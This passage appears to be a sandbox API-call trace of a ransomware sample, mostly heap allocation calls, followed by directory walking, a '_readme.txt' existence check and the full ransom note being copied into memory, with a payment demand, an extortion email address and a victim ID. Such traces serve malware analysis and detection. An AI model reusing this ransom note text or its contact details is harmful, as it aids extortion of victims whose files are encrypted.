Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.278] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.278] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.279] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.279] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.280] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.280] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.281] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.281] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.282] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.282] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.282] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.282] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.282] PathFindFileNameW (pszPath="") returned="" [0124.282] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.282] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.283] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.283] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.283] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.283] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.283] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.283] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.283] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0124.283] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.283] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0124.284] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.284] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.284] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal 